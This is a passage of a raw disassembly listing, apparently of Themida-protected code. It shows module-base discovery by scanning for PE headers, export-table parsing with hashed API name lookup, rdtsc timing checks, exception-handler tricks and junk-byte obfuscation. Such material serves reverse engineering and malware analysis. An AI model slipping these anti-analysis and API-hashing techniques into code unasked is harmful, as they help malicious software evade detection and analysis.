		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_57F1A2
		cmp	bl, 39h
		ja	short loc_57F1A2
		sub	bl, 30h
		jmp	short loc_57F1C4
; ---------------------------------------------------------------------------


loc_57F1A2:				; CODE XREF: Themida_:0057F196j
					; Themida_:0057F19Bj
		cmp	bl, 61h
		jb	short loc_57F1B4
		cmp	bl, 66h
		ja	short loc_57F1B4
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_57F1C4
; ---------------------------------------------------------------------------


loc_57F1B4:				; CODE XREF: Themida_:0057F1A5j
					; Themida_:0057F1AAj
		cmp	bl, 41h
		jb	short loc_57F1C4
		cmp	bl, 46h
		ja	short loc_57F1C4
		sub	bl, 41h
		add	bl, 0Ah


loc_57F1C4:				; CODE XREF: Themida_:0057F1A0j
					; Themida_:0057F1B2j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_57F1CA:				; CODE XREF: Themida_:0057F17Ej
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_57F180
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_57F1DA
		mov	eax, [ebp-10h]
		stosb


loc_57F1DA:				; CODE XREF: Themida_:0057F1D4j
		inc	dword ptr [ebp-8]


loc_57F1DD:				; CODE XREF: Themida_:0057F16Ej
		cmp	dword ptr [ebp-8], 2
		jb	short loc_57F170
		add	edx, 4


loc_57F1E6:				; CODE XREF: Themida_:0057F165j
		cmp	edx, [ebp-4]
		jb	loc_57F167
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_57F1F9:				; CODE XREF: Themida_:0057EFE0j
		mov	ecx, 7000h
		lea	edi, [ebp+6123730h]


loc_57F204:				; CODE XREF: Themida_:0057F208j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_57F204
		mov	eax, 48692121h
		mov	edx, 0F0113000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+6123856h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		call	sub_57F245
		mov	eax, 2B097EB1h
		or	eax, 29596F10h
		push	ecx

; =============== S U B	R O U T	I N E =======================================



sub_57F245	proc near		; CODE XREF: Themida_:0057F235p
		mov	bh, dh
		pop	ebx
		add	ebx, 600B0ABBh
		push	0
		push	edx
		call	sub_57F259
		and	[edx-3Dh], bl
sub_57F245	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57F259	proc near		; CODE XREF: sub_57F245+Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_57F259	endp

; ---------------------------------------------------------------------------
		push	esp
		clc
		sub	eax, edx
		add	bx, 0A0A9h
		movsx	ebx, bx
		and	eax, 0FFFFF000h
		push	0
		push	eax
		call	sub_57F285
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57F285	proc near		; CODE XREF: Themida_:0057F27Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_57F285	endp

; ---------------------------------------------------------------------------
		db 89h,	0C3h, 0C8h
; ---------------------------------------------------------------------------
		cli
		cli
		adc	al, 0BDh
		mov	bh, 73h
		sub	bx, 0C4D1h
		mov	ecx, edx
		xor	edi, edi


loc_57F2A7:				; CODE XREF: Themida_:0057F2C2j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_57F2BC
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_57F2C4


loc_57F2BC:				; CODE XREF: Themida_:0057F2ACj
		sub	eax, 1000h
		inc	edi
		jmp	short loc_57F2A7
; ---------------------------------------------------------------------------


loc_57F2C4:				; CODE XREF: Themida_:0057F2BAj
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+6123869h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_57F2FE
		mov	esi, [eax+1Ch]


loc_57F2FE:				; CODE XREF: Themida_:0057F2F9j
		xor	eax, eax


loc_57F300:				; CODE XREF: Themida_:0057F313j
		cmp	eax, 32h
		jz	short loc_57F324
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_57F315


loc_57F30C:				; CODE XREF: Themida_:0057F322j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_57F300
; ---------------------------------------------------------------------------


loc_57F315:				; CODE XREF: Themida_:0057F30Aj
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_57F366
		jmp	short loc_57F30C
; ---------------------------------------------------------------------------


loc_57F324:				; CODE XREF: Themida_:0057F303j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6123874h
		lea	eax, [ebp+6123832h]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_57F366:				; CODE XREF: Themida_:0057F320j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		sub	bl, 37h
		jmp	loc_57F37F
; ---------------------------------------------------------------------------
		db 0B3h, 8Eh, 3Ch
		db 0E1h, 5, 0EBh
; ---------------------------------------------------------------------------


loc_57F37F:				; CODE XREF: Themida_:0057F374j
		mov	cx, ds
		push	0
		push	ebp
		call	sub_57F38D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57F38D	proc near		; CODE XREF: Themida_:0057F385p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_57F38D	endp

; ---------------------------------------------------------------------------
		db 3Eh,	0A5h, 0B0h
		dd 0CD634F75h, 8B666002h, 2860FF3h, 60000000h, 0E1806161h
		dd 0EF816004h, 2DD09C5Bh, 60B3DBAh, 0C90A612Ch,	30850Fh
		dd 0E9600000h, 0Ch, 68F8D660h, 92ADE732h, 0F20BD415h, 0E985C761h
		dd 106120Eh, 51000000h,	5BDBBF0Fh, 31E9h, 3830F00h, 80000000h
		dd 85C71DDFh, 6120EE9h,	0
		dd 0AE8D98Bh, 0D000000h, 3B824DFAh, 0C5056387h,	7E941h
		dd 0E4BC0000h, 0B075231Eh, 85895B25h, 61217F1h,	171DF381h
		dd 8589587Fh, 6123101h,	10E8h, 8F1F300h, 58283F1Eh, 426E927Ch
		dd 78817F7h, 0D0BF0FF8h, 0C781F85Fh, 6549h, 12E9h, 4B1A7500h
		dd 0DC6310F1h, 0FDDB65AAh, 9B1B399Dh, 332158B3h, 0D18B66DBh
		dd 0F1F048Bh, 0C081CFB7h, 10A74D13h, 0C081D08Bh, 59E0C85Ah
		dd 75C68160h, 535CC9D5h, 11E8h,	0AB624900h, 0E35EDF72h
		dd 2AF2CF00h, 6D6719ECh, 5A5B04B9h, 10C08161h, 0F90E9517h
		dd 0A0B96650h, 1F048F89h, 3870Fh, 0BF0F0000h, 0F2BF0FD0h
		dd 0F03EB83h, 689h, 0A0E68100h,	4B742869h, 0FE9h, 5CBCBA00h
		dd 854FA703h, 21CCA67Ah, 1F69C782h, 9B9CFB81h, 850FFFFFh
		dd 1Bh,	50E98166h, 28E9B5h, 7900000h, 0A7E527B0h, 597134F1h
		dd 0F525FFCBh, 0F53C9573h, 0FFFF5FE9h, 8C14ABFFh, 3B15C384h
		dd 0A0680680h, 9CB46D18h, 10E828A2h, 0E7000000h, 88C7FBBCh
		dd 0C42209D7h, 0D211D220h, 66FE7278h, 58D7C6BEh, 0C081FB8Bh
		dd 5B03h, 6F0BCE81h, 0BA6D57h, 0F000000h, 98Eh,	3880F00h
		dd 0F000000h, 0C8BFBBFh, 0E981F810h, 83AD86Ah, 2D1AC181h
		dd 0F08B68AEh, 8DCAE981h, 860F0935h, 2,	0C89D98Bh, 1890F10h
		dd 0F5000000h, 83BDDB80h, 816602EAh, 4A16BCC3h,	1E880F4Ah
		dd 0E8000000h, 12h, 71AF50FCh, 3BE85EC2h, 0B1B2EC55h, 0ADD80670h
		dd 890F1CCDh, 0
; ---------------------------------------------------------------------------
		pop	edi
		cmp	edx, 0FFFFA5D0h
		jnz	loc_57F5DB
		adc	esi, 723C3A99h
		jmp	loc_57F5FE
; ---------------------------------------------------------------------------
		cdq
		cmp	esi, esp
		mov	ch, 0C4h
		lodsd
		add	ebp, ebx
		dec	esi
		das
		sahf


loc_57F5DB:				; CODE XREF: Themida_:0057F5BFj
		push	ecx
		jz	loc_57F5E5
		mov	si, ax


loc_57F5E5:				; CODE XREF: Themida_:0057F5DCj
		pop	edi
		jmp	near ptr dword_57F404+15Ah
; ---------------------------------------------------------------------------
		db 20h
		dd 4D2C5FCh, 0B761E00Fh, 3E5B3F87h, 89B2B49Bh
		db 0C1h, 0DBh
; ---------------------------------------------------------------------------


loc_57F5FE:				; CODE XREF: Themida_:0057F5CBj
		jmp	short loc_57F604
; ---------------------------------------------------------------------------
		dd 21Bh
; ---------------------------------------------------------------------------


loc_57F604:				; CODE XREF: Themida_:loc_57F5FEj
		jmp	loc_57FDA7
; ---------------------------------------------------------------------------
		pusha
		mov	ah, 94h
		jmp	loc_57F621
; ---------------------------------------------------------------------------
		stosb
		mov	bl, [edi+68h]
		push	ebx
		xchg	eax, edx
		mov	edx, [ecx-6Eh]
		shl	ebp, 1
		mov	eax, ds:1D52426Bh


loc_57F621:				; CODE XREF: Themida_:0057F60Cj
		popa
		pusha
		mov	[ebp+612270Dh],	edi
		sub	eax, eax
		cld
		mov	edx, [esp+28h]
		jo	loc_57F64F
		jnb	loc_57F64F
		jmp	loc_57F64F
; ---------------------------------------------------------------------------
		inc	ebx
		cmpsb
		sti
		icebp
		and	cl, bh
		or	bh, ds:0E49373CBh
		inc	edi


loc_57F64F:				; CODE XREF: Themida_:0057F630j
					; Themida_:0057F636j ...
		mov	[ebp+61219D1h],	eax
		mov	[ebp+6120435h],	edi
		mov	esi, 3Ch
		jbe	loc_57F66C
		add	[ebp+6122DBDh],	ecx


loc_57F66C:				; CODE XREF: Themida_:0057F660j
		add	esi, [esp+24h]
		cld
		lodsw
		mov	[ebp+6123305h],	edi
		add	eax, [esp+24h]
		mov	[ebp+612255Dh],	ebx
		nop
		push	eax
		push	edx
		jmp	loc_57F698
; ---------------------------------------------------------------------------
		imul	dword ptr [ebp+49h]
		adc	[edi-4F5811CDh], edi
		xchg	ebx, [esi+1Bh]
		cmpsb


loc_57F698:				; CODE XREF: Themida_:0057F686j
		rdtsc
		jnz	loc_57F6A6
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax


loc_57F6A6:				; CODE XREF: Themida_:0057F69Aj
		pop	edx
		pop	eax
		push	eax
		push	eax
		push	edx
		js	loc_57F6B7
		jo	$+6


loc_57F6B7:				; CODE XREF: Themida_:0057F6ABj
		rdtsc
		push	eax
		push	edx
		pusha
		popa
		rdtsc
		jge	$+6
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		nop
		pusha
		mov	ebx, [ebp+6122209h]
		jmp	loc_57F6E6
; ---------------------------------------------------------------------------
		dw 8F67h
		dd 7A86D45Ah, 32A2CE59h, 0DD1535A9h
		db 0FAh, 0BDh
; ---------------------------------------------------------------------------


loc_57F6E6:				; CODE XREF: Themida_:0057F6D1j
		popa
		stc
		mov	eax, [eax+78h]
		stc
		add	eax, [esp+28h]
		pusha
		xor	cx, 0BBE7h
		popa
		mov	eax, [eax+18h]
		jmp	loc_57F709
; ---------------------------------------------------------------------------
		db 0E1h
; ---------------------------------------------------------------------------
		or	al, 0B1h
		mov	dh, [ebx+eax+1A4B35BFh]


loc_57F709:				; CODE XREF: Themida_:0057F6FAj
		inc	eax
		jnp	loc_57F716
		xor	[ebp+6122A35h],	eax


loc_57F716:				; CODE XREF: Themida_:0057F70Aj
		mov	[ebp+6123B26h],	eax
		or	[ebp+6123075h],	edx
		pop	eax
		sub	[ebp+612210Dh],	edi
		or	[ebp+612245Dh],	ecx
		mov	esi, [eax+78h]
		cmc
		add	esi, 1Ch
		js	loc_57F750
		jmp	loc_57F750
; ---------------------------------------------------------------------------
		db 0BBh, 0ECh, 98h
; ---------------------------------------------------------------------------
		dec	ebx
		jmp	dword ptr [ebp-339CFFD9h]
; ---------------------------------------------------------------------------
		align 4
		dd 507EE667h
; ---------------------------------------------------------------------------


loc_57F750:				; CODE XREF: Themida_:0057F736j
					; Themida_:0057F73Cj
		add	esi, [esp+24h]
		jmp	loc_57F76D
; ---------------------------------------------------------------------------
		db 96h,	0E5h, 0E0h
		dd 4E186BE7h, 0EDA3087Ch, 0E8D0168Eh, 0CEA99DADh
		db 0F2h
; ---------------------------------------------------------------------------


loc_57F76D:				; CODE XREF: Themida_:0057F754j
		lea	edi, [ebp+6122559h]
		pusha
		jmp	loc_57F77E
; ---------------------------------------------------------------------------
		mov	ds:47F07685h, eax


loc_57F77E:				; CODE XREF: Themida_:0057F774j
		pusha
		sub	cx, 3D3Ah
		mov	[ebp+61202F5h],	esi
		popa
		popa
		lodsd
		clc
		jmp	loc_57F7A0
; ---------------------------------------------------------------------------
		db 5Eh
		dd 1DC5C9F6h, 793F7520h, 2BF2B6AEh
; ---------------------------------------------------------------------------


loc_57F7A0:				; CODE XREF: Themida_:0057F78Ej
		add	eax, [esp+24h]
		pusha
		push	ebx
		mov	edx, [ebp+6122445h]
		pop	edx
		clc
		popa
		jb	loc_57F7BB
		sub	[ebp+61223B5h],	ebx


loc_57F7BB:				; CODE XREF: Themida_:0057F7AFj
		stosd
		pusha
		jnb	loc_57F7C5
		push	ebx
		pop	edi


loc_57F7C5:				; CODE XREF: Themida_:0057F7BDj
		mov	cx, bx
		popa
		jmp	loc_57F7E2
; ---------------------------------------------------------------------------
		dw 19A2h
		dd 0A2F2378Dh, 5F317A2Eh, 41441349h, 6A3D63BFh
		db 0A4h, 0E5h
; ---------------------------------------------------------------------------


loc_57F7E2:				; CODE XREF: Themida_:0057F7C9j
		lea	edi, [ebp+6122FF9h]
		or	[ebp+6122D29h],	edx
		lodsd
		jmp	loc_57F7FD
; ---------------------------------------------------------------------------
		dd 0A5F3CFE7h, 0E405E013h
		db 81h
; ---------------------------------------------------------------------------


loc_57F7FD:				; CODE XREF: Themida_:0057F7EFj
		add	eax, [esp+24h]
		jmp	loc_57F818
; ---------------------------------------------------------------------------
		pop	eax
		sti
		mov	bl, 38h
		adc	al, [ebx-46A49FCEh]
		stosb
		xor	[esi], bl
		push	edi
		add	[edi], esp
		cmp	al, 0C8h


loc_57F818:				; CODE XREF: Themida_:0057F801j
		nop
		push	eax
		push	edx
		jmp	loc_57F831
; ---------------------------------------------------------------------------
		dd 2FDAF3AEh, 61724DEAh, 0E9E98711h, 96AA6FCBh
		db 9Ah
; ---------------------------------------------------------------------------


loc_57F831:				; CODE XREF: Themida_:0057F81Bj
		rdtsc
		push	eax
		push	edx
		jmp	loc_57F843
; ---------------------------------------------------------------------------
		dw 7E54h
		dd 790802B6h
; ---------------------------------------------------------------------------
		mov	cl, 0CDh
		clc


loc_57F843:				; CODE XREF: Themida_:0057F835j
		rdtsc
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		push	eax
		push	eax
		push	edx
		jnz	loc_57F85E
		jp	$+6


loc_57F85E:				; CODE XREF: Themida_:0057F852j
		rdtsc
		pusha
		push	ecx
		pop	esi
		mov	cx, 115Ah
		popa
		pop	edx
		pop	eax
		nop
		mov	[ebp+6122755h],	eax
		stosd
		stc
		stc
		lea	edi, [ebp+612275Dh]
		add	[ebp+612167Dh],	ebx
		lodsd
		clc
		add	eax, [esp+28h]
		jb	loc_57F892
		mov	[ebp+6121701h],	edx


loc_57F892:				; CODE XREF: Themida_:0057F886j
		stosd
		sub	[ebp+6122F4Dh],	esi
		pop	esi
		pusha
		mov	esi, [ebp+6120779h]
		popa


loc_57F8A2:				; CODE XREF: Themida_:0057F92Ej
		dec	dword ptr [ebp+6123B26h]
		cmp	dword ptr [ebp+6123B26h], 0
		jnz	short loc_57F8C1
		mov	dword ptr [esp+1Ch], 0
		lea	esi, [ebp+61240A6h]
		jmp	esi
; ---------------------------------------------------------------------------


loc_57F8C1:				; CODE XREF: Themida_:0057F8AFj
		push	esi
		lodsd
		add	eax, [esp+28h]
		xchg	eax, edi
		mov	ebx, edi
		mov	al, [ebp+61215C1h]
		test	al, al
		jz	short loc_57F8D8
		cmp	al, [edi]
		jnz	short loc_57F924


loc_57F8D8:				; CODE XREF: Themida_:0057F8D2j
		push	edi
		xor	al, al


loc_57F8DB:				; CODE XREF: Themida_:0057F8DCj
		scasb
		jnz	short loc_57F8DB
		pop	esi
		sub	edi, ebx
		push	edx
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx


loc_57F8E8:				; CODE XREF: Themida_:0057F911j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh


loc_57F8F5:				; CODE XREF: Themida_:0057F94Bj
		mov	dh, 8


loc_57F8F7:				; CODE XREF: Themida_:0057F90Aj
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_57F908
		xor	ax, 5041h
		xor	bx, 5449h


loc_57F908:				; CODE XREF: Themida_:0057F8FDj
		dec	dh
		jnz	short loc_57F8F7
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_57F8E8
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edx
		cmp	edx, eax
		jz	short loc_57F933


loc_57F924:				; CODE XREF: Themida_:0057F8D6j
		pop	esi
		add	esi, 4
		inc	dword ptr [ebp+61219D1h]
		jmp	loc_57F8A2
; ---------------------------------------------------------------------------


loc_57F933:				; CODE XREF: Themida_:0057F922j
		pop	esi
		stc
		sub	[ebp+61226B9h],	ecx
		jmp	loc_57F94D
; ---------------------------------------------------------------------------
		movsb
		and	edi, [ebx-52h]
		mov	al, ds:78F6BFAEh
		setalc
		inc	eax
		loopne	loc_57F8F5


loc_57F94D:				; CODE XREF: Themida_:0057F93Bj
		mov	eax, [ebp+61219D1h]
		js	loc_57F967
		pusha
		mov	esi, [ebp+61231E1h]
		mov	[ebp+6121D7Dh],	edx
		popa


loc_57F967:				; CODE XREF: Themida_:0057F953j
		mov	[ebp+61207B5h],	ebx
		shl	eax, 1
		pusha
		mov	di, 1795h
		add	si, 89F5h
		popa
		pusha
		mov	edx, [ebp+6122DD1h]
		mov	eax, [ebp+612189Dh]
		popa
		add	eax, [ebp+612275Dh]
		jz	loc_57F99A
		sub	[ebp+6121F09h],	esi


loc_57F99A:				; CODE XREF: Themida_:0057F98Ej
		pusha
		mov	edx, [ebp+612245Dh]
		mov	ah, cl
		popa
		mov	esi, 0
		jg	loc_57F9CA
		jns	loc_57F9CA
		jmp	loc_57F9CA
; ---------------------------------------------------------------------------
		push	es
		push	ecx
		mov	dword ptr [esi], 0BCA117Ah
		pop	eax
		or	[ebp-5Fh], edi
		adc	edi, [edi+ebx+32h]


loc_57F9CA:				; CODE XREF: Themida_:0057F9A9j
					; Themida_:0057F9AFj ...
		sub	[ebp+6122145h],	ebx
		xchg	eax, esi
		mov	[ebp+6122DA9h],	esi
		lodsw
		xor	[ebp+61222D9h],	ebx
		shl	eax, 2
		mov	[ebp+61217D5h],	esi
		add	eax, [ebp+6122559h]
		mov	[ebp+6123241h],	edi
		xchg	eax, esi
		stc
		lodsd
		jmp	loc_57FA05
; ---------------------------------------------------------------------------
		dd 875BD615h, 90513943h
		db 0F2h
; ---------------------------------------------------------------------------


loc_57FA05:				; CODE XREF: Themida_:0057F9F7j
		ja	loc_57FA11
		sub	[ebp+6122381h],	edi


loc_57FA11:				; CODE XREF: Themida_:loc_57FA05j
		mov	ecx, [esp+24h]
		pusha
		jnz	loc_57FA2F
		jmp	loc_57FA2F
; ---------------------------------------------------------------------------
		db 18h,	2Ch, 0ADh
		dd 0CEF6DDF9h, 0ABB7801h
		db 0D7h, 1Bh, 89h
; ---------------------------------------------------------------------------


loc_57FA2F:				; CODE XREF: Themida_:0057FA16j
					; Themida_:0057FA1Cj
		add	ecx, 6DE908A4h
		popa
		add	eax, [esp+24h]
		jmp	loc_57FA51
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0AEEB67B7h, 8E1E4990h, 83CD4A81h, 7C333597h
; ---------------------------------------------------------------------------
		aas


loc_57FA51:				; CODE XREF: Themida_:0057FA3Aj
		mov	[esp+1Ch], eax
		stc
		add	[ebp+6120785h],	edi
		xchg	eax, esi
		or	[ebp+6122D21h],	esi
		cld
		lodsb
		mov	[ebp+6122C39h],	ecx
		xor	cl, cl
		mov	[ebp+6121299h],	eax
		jmp	loc_57FA7D
; ---------------------------------------------------------------------------
		dd 4443E44Fh
; ---------------------------------------------------------------------------
		icebp


loc_57FA7D:				; CODE XREF: Themida_:0057FA73j
		inc	cl
		xor	[ebp+6122099h],	edi
		or	[ebp+6122D15h],	edi


loc_57FA8B:				; CODE XREF: Themida_:0057FAE4j
		rcl	al, 1
		jnb	loc_57FB80
		ja	loc_57FAAC
		jmp	loc_57FAAC
; ---------------------------------------------------------------------------
		cmc
		das
		fbstp	tbyte ptr [ebp+54h]
		pop	ecx
		adc	bl, bl
		inc	cl
		retn	0CF0Eh
; ---------------------------------------------------------------------------
		db 10h
; ---------------------------------------------------------------------------


loc_57FAAC:				; CODE XREF: Themida_:0057FA93j
					; Themida_:0057FA99j
		rcl	al, 1
		jnb	loc_57FB80
		jmp	loc_57FAC2
; ---------------------------------------------------------------------------
		push	ds
		and	esi, [ebp-50h]
		and	eax, 0C098ABC0h


loc_57FAC2:				; CODE XREF: Themida_:0057FAB4j
		rcl	al, 1
		jb	loc_57FB80
		mov	[ebp+6120435h],	eax
		rcl	al, 1
		jb	loc_57FB80
		jmp	loc_57FAE2
; ---------------------------------------------------------------------------
		db 0DEh, 0DCh, 0D7h
		db 0CDh, 4Eh
; ---------------------------------------------------------------------------


loc_57FAE2:				; CODE XREF: Themida_:0057FAD8j
		dec	cl
		jns	loc_57FA8B
		jmp	loc_57FAF4
; ---------------------------------------------------------------------------
		db 0D3h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0B9h, 3Ah, 8Bh
; ---------------------------------------------------------------------------


loc_57FAF4:				; CODE XREF: Themida_:0057FAEAj
		add	esp, 20h
		jnp	loc_57FB08
		jmp	loc_57FB08
; ---------------------------------------------------------------------------
		dw 3646h
		dd 8CABC40Bh
; ---------------------------------------------------------------------------


loc_57FB08:				; CODE XREF: Themida_:0057FAF7j
					; Themida_:0057FAFDj
		mov	dword ptr [esp-4], 0
		jmp	loc_57FB1D
; ---------------------------------------------------------------------------
		db 58h,	0E1h, 0C9h
		dd 0A440FA8Eh
; ---------------------------------------------------------------------------
		sti


loc_57FB1D:				; CODE XREF: Themida_:0057FB10j
		mov	eax, 1
		jb	loc_57FB40
		jmp	loc_57FB40
; ---------------------------------------------------------------------------
		db 0CEh, 9, 0DBh
		dd 9C3D35C1h, 4878E8D5h, 40120F46h, 4730E94Ch
; ---------------------------------------------------------------------------


loc_57FB40:				; CODE XREF: Themida_:0057FB22j
					; Themida_:0057FB28j
		sub	[ebp+61225E1h],	edx
		lea	ecx, [ebp+6127308h]
		jno	loc_57FB65
		jnz	loc_57FB65
		jmp	loc_57FB65
; ---------------------------------------------------------------------------
		sal	dword ptr [eax+ecx-75h], 1
		mul	dword ptr [esi+58h]
		pop	edx


loc_57FB65:				; CODE XREF: Themida_:0057FB4Cj
					; Themida_:0057FB52j ...
		pusha
		sub	si, 1A0h
		add	ebx, [ebp+61228A5h]
		popa
		jmp	ecx
; ---------------------------------------------------------------------------
		jo	loc_57FB80
		sub	[ebp+6123239h],	eax


loc_57FB80:				; CODE XREF: Themida_:0057FA8Dj
					; Themida_:0057FAAEj ...
		mov	byte ptr [ebp+61215C1h], 0
		pusha
		mov	si, 887Bh
		mov	ecx, 32AE52A1h
		popa
		clc
		popa
		mov	[ebp+6122119h],	ecx
		retn	8
; ---------------------------------------------------------------------------
		cmc
		xchg	eax, esi
		jnp	loc_57FBBD
		jmp	loc_57FBBD
; ---------------------------------------------------------------------------
		dw 8D98h
		dd 0B796B140h, 711681A2h, 0BBB6990Bh, 743B1958h
		db 7Ah
; ---------------------------------------------------------------------------


loc_57FBBD:				; CODE XREF: Themida_:0057FB9Fj
					; Themida_:0057FBA5j
		push	eax
		pusha
		push	eax
		push	edx
		rdtsc
		mov	eax, edx
		pop	edx
		pop	eax
		mov	dl, 4Fh
		popa
		xchg	eax, esi
		mov	[ebp+61219FDh],	edi
		jmp	loc_57FBDE
; ---------------------------------------------------------------------------
		dec	eax
		sti
		retn
; ---------------------------------------------------------------------------
		db 42h,	0BAh, 34h
		db 20h,	0A2h
; ---------------------------------------------------------------------------


loc_57FBDE:				; CODE XREF: Themida_:0057FBD1j
		mov	[ebp+6124281h],	esi
		clc
		mov	[ebp+61242B2h],	ecx
		jmp	loc_57FBFC
; ---------------------------------------------------------------------------
		dd 369E634Ah, 0B4E8F1D3h, 0FFC32629h
; ---------------------------------------------------------------------------


loc_57FBFC:				; CODE XREF: Themida_:0057FBEBj
		lea	esi, [ebp+6124174h]
		mov	[ebp+61230C9h],	eax
		lea	eax, dword_5B8EA1[ebp]
		pusha
		pusha
		xor	[ebp+6123051h],	edx
		mov	edx, 716FFBA7h
		popa
		or	ebx, [ebp+61217D1h]
		popa
		call	eax
		jmp	loc_57FC38
; ---------------------------------------------------------------------------
		or	[esi], ah
		cmp	al, 0D9h
		sbb	ah, [edi+14h]
		test	al, 0A9h
		and	ebp, [esi-5Fh]
		push	ds
		xchg	eax, esi


loc_57FC38:				; CODE XREF: Themida_:0057FC25j
		pop	esi
		pusha
		or	esi, 47D1FC60h
		mov	ebx, [ebp+6122959h]
		popa
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+6121531h],	edx
		mov	esi, [ebp+6124281h]
		jmp	loc_57FC62
; ---------------------------------------------------------------------------
		db 28h,	27h, 6Dh
		dd 5D56EC79h
		db 6Ch,	28h
; ---------------------------------------------------------------------------


loc_57FC62:				; CODE XREF: Themida_:0057FC54j
		mov	ecx, [ebp+61242B2h]
		mov	[ebp+6121E29h],	esi
		sub	eax, eax
		pusha
		jnp	loc_57FC7D
		jle	$+6


loc_57FC7D:				; CODE XREF: Themida_:0057FC71j
		popa
		mov	ebx, ecx
		stc
		jmp	loc_57FD3E
; ---------------------------------------------------------------------------
		mov	[ebp+6121E99h],	ecx


loc_57FC8C:				; CODE XREF: Themida_:0057FD40j
		xor	ah, [esi]
		sub	[ebp+6122AC5h],	esi
		cld
		mov	dl, 2
		mov	[ebp+6121E45h],	ebx
		jmp	loc_57FD1C
; ---------------------------------------------------------------------------
		jz	loc_57FCB2
		pusha
		mov	edx, 241E1802h
		movzx	edx, dx
		popa


loc_57FCB2:				; CODE XREF: Themida_:0057FCA2j
					; Themida_:0057FD1Ej
		xor	al, dl
		jmp	loc_57FCC8
; ---------------------------------------------------------------------------
		db 78h,	0CAh, 3Ch
		dd 0F0C6E29Dh, 95796477h, 7C9AFF3Ah
; ---------------------------------------------------------------------------


loc_57FCC8:				; CODE XREF: Themida_:0057FCB4j
		add	eax, 8A751D7Ah
		sub	[ebp+6121D2Dh],	eax
		mov	cl, ah
		pusha
		mov	ebx, 31F7160Eh
		mov	edi, [ebp+61225FDh]
		popa
		ror	eax, cl
		pusha
		cld
		jle	loc_57FD02
		jmp	loc_57FD02
; ---------------------------------------------------------------------------
		db 0D8h, 0A3h, 0BDh
		dd 0A57B70FCh, 0AD77CFABh, 0F4D40022h
; ---------------------------------------------------------------------------
		sbb	al, 0B3h


loc_57FD02:				; CODE XREF: Themida_:0057FCE6j
					; Themida_:0057FCECj
		popa
		xor	[ebp+61226FDh],	ebx
		xor	eax, 98D10842h
		mov	[ebp+61227E5h],	edi
		dec	dl
		sub	[ebp+6121B0Dh],	eax


loc_57FD1C:				; CODE XREF: Themida_:0057FC9Dj
		or	dl, dl
		jnz	loc_57FCB2
		jns	loc_57FD30
		mov	[ebp+6122F35h],	esi


loc_57FD30:				; CODE XREF: Themida_:0057FD24j
		dec	ebx
		mov	[ebp+6122551h],	eax
		inc	esi
		mov	[ebp+612249Dh],	edx


loc_57FD3E:				; CODE XREF: Themida_:0057FC81j
		or	ebx, ebx
		jnz	loc_57FC8C
		jbe	locret_57FD4D
		stc

locret_57FD4D:				; CODE XREF: Themida_:0057FD46j
		iret
; ---------------------------------------------------------------------------
		jmp	near ptr byte_57FD5B
; ---------------------------------------------------------------------------
		db 0F4h
		dd 90DF648Dh
		db 0D0h, 42h, 0F9h
byte_57FD5B	db 0			; CODE XREF: Themida_:0057FD4Ej
		dd 6DBD0900h, 60061224h, 810F50h, 5A000000h, 0D18D0350h
		dd 5E061228h, 60000061h, 8E9h, 393B0C00h, 76C12A19h, 0D8E981D4h
